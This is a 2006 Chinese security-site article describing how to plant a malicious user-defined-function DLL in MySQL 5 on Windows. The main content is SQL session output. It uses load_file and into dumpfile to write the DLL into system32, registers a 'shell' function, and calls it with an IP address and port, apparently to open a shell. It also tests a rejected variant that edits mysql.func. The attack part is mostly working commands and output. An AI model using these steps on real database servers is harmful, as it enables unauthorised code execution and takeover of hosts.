通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 原创精华 >> 文章正文
推荐: udf's hacking in mysql5
责任编辑:古典辣M°   更新日期:2006-1-17
 

udf's hacking in mysql5

[本文是基于win系统,unix系统没测试]

在mysql5里使用udf必须解决2个问题:
1、udf的格式要求更加严谨,按照以前的版本写的udf不可以使用。
2、udf文件必须放在系统目录下。

解决办法:
问题1:官方udf资料:http://dev.mysql.com/doc/refman/5.0/en/adding-udf.html
udf例子:http://leithal.cool-tools.co.uk/sou...8cc-source.html
在云舒写的那个udfshell,是可以用在mysql5的http://www.icylife.net/yunshu/show.php?id=244

问题2:可以使用into dumpfile把dll文件放到system32目录下来突破:

mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)

mysql> insert into heige values(load_file('c:/udf.dll'));
Query OK, 1 row affected (0.08 sec)

mysql> select * from foo into dumpfile 'c:/winnt/system32/heige.dll';
Query OK, 1 row affected (0.18 sec)

mysql> create function shell returns integer soname 'heige.dll';
Query OK, 0 rows affected (0.07 sec)

mysql> select * from mysql.func;
+-------+-----+-----------+----------+
| name | ret | dl | type |
+-------+-----+-----------+----------+
| shell | 2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)

mysql> select shell('127.0.0.1','1234');
+---------------------------+
| shell('127.0.0.1','1234') |
+---------------------------+
| NULL |
+---------------------------+
1 row in set (0.97 sec)

成功突破了,当然你可以使用先把dll转为hex的方法[http://www.ph4nt0m.org/bbs/showthre...&threadid=34013
只要把里面的hex替换,如果把dll导出的目录改为system32 当然里面的function函数名相应改]


有人提出使用INSERT INTO直接对mysql.func插入数据,修改dl里的dll的路径来突破。
我们测试下:

mysql> drop function shell; <--drop function
Query OK, 0 rows affected (0.00 sec)

C:\WINNT\system32>del heige.dll <--删除heige.dll

mysql> drop table func; <--drop表func
Query OK, 0 rows affected (0.00 sec)

mysql> CREATE TABLE `func` (
-> `name` char(64) collate utf8_bin NOT NULL default '',
-> `ret` tinyint(1) NOT NULL default '0',
-> `dl` char(128) collate utf8_bin NOT NULL default '',
-> `type` enum('function','aggregate') character set utf8 NOT NULL,
-> PRIMARY KEY (`name`)
-> ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT='User defin
ed functions';
Query OK, 0 rows affected (0.06 sec) <--创建表func

mysql> INSERT INTO `func` VALUES ('shell', 2, 'c:/udf.dll', 'function');
Query OK, 1 row affected (0.00 sec)

mysql> select * from func;
+-------+-----+------------+----------+
| name | ret | dl | type |
+-------+-----+------------+----------+
| shell | 2 | c:/udf.dll | function |
+-------+-----+------------+----------+
1 row in set (0.00 sec)

mysql> select shell('127.0.0.1','1234');
ERROR 1305 (42000): FUNCTION mysql.shell does not exist

然后我们把c:/udf.dll 放到system32目录下,你也会发现insert into的方法是行不通的 。

 

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题